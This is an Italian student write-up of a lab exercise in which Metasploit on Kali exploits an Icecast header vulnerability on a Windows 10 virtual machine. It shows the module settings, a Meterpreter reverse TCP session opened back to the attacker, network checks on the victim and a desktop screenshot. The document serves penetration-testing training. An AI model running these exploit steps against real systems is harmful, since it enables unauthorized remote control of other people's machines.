Esercitazione S7/L4

In questa esercitazione ho effettuato un attacco con Metasploit da Kali verso una macchina target, con l'obiettivo di entrare nella macchina, prenderne il controllo e fare uno screenshot del Desktop della macchina vittima.

Dispositivi utilizzati:

- Kali (attaccante)
- Windows10 (vittima)
- Metasploit

Metasploit:

Metasploit è un software utilizzato per effettuare un attacco ad una macchina target, cercando di prenderne il controllo. L'obiettivo è creare una shell che permetta la comunicazione tra due macchine, per fare ciò ho bisogno di attaccare la macchina con il giusto payload.

Payload:

Il payload è un insieme di parti di codice che una volta ricomposto ci permetterà l'exploit e di conseguenza si stabilirà un collegamento alla macchina vittima, la shell.

Shell:

Con shell si intende il collegamento tra una macchina attaccante e una vittima, ne esistono due tipi:

- Bind: Collegamento diretto dalla macchina attaccante alla macchina vittima
- Reverse: Collegamento inverso dalla macchina vittima alla macchina attaccante. Questa soluzione ci permetterà di bypassare un firewall perimetrale ad esempio.

Svolgimento:

Come prima operazione ho effettuato la configurazione delle 2 macchine e verificato la connessione tra le stesse con un ping.
Dopo aver verificato la connessione ho avviato Metasploit e ho cercato di sfruttare la vulnerabilità di icecast, un programma in esecuzione su Windows 10.
Ho quindi cercato il payload e impostato l'IP della macchina vittima

```
msf6 exploit(windows/http/icecast_header) > set rhosts 192.168.1.16
rhosts => 192.168.1.16
msf6 exploit(windows/http/icecast_header) > show options

Module options (exploit/windows/http/icecast_header):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  192.168.1.16     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT   8000             yes       The target port (TCP)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.13     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port
```

Successivamente ho verificato il corretto settaggio delle impostazioni con “show options”. Avendo verificato che sia tutto giusto ho proceduto con l’exploit.

```
View the full module info with the info, or info -d command.

msf6 exploit(windows/http/icecast_header) > exploit

[*] Started reverse TCP handler on 192.168.1.13:4444
[*] Sending stage (176198 bytes) to 192.168.1.16
[*] Meterpreter session 1 opened (192.168.1.13:4444 → 192.168.1.16:49483) at 2024-11-14 06:49:08 -0500

meterpreter >
```

A questo punto sono entrato in Windows 10 e ho svolto una verifica sull’indirizzo IP.
Come si può vedere in Interface 4 l’IP che mi esce in output è quello di windows. Questo mi conferma di essere nella macchina target.

```
meterpreter > ifconfig

Interface  1
============
Name         : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU          : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface  4
============
Name         : Intel(R) PRO/1000 MT Desktop Adapter
Hardware MAC : 08:00:27:cd:7c:20
MTU          : 1492
IPv4 Address : 192.168.1.16
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::6cec:77a9:5dad:7a21
IPv6 Netmask : ffff:ffff:ffff:ffff::
```

Infine ho creato uno screenshot del desktop di Windows10 tramite il comando di Meterpreter “screenshot”.
Nella foto in basso il risultato:

```
meterpreter > screenshot
Screenshot saved to: /home/kali/eChpLpho.jpeg
```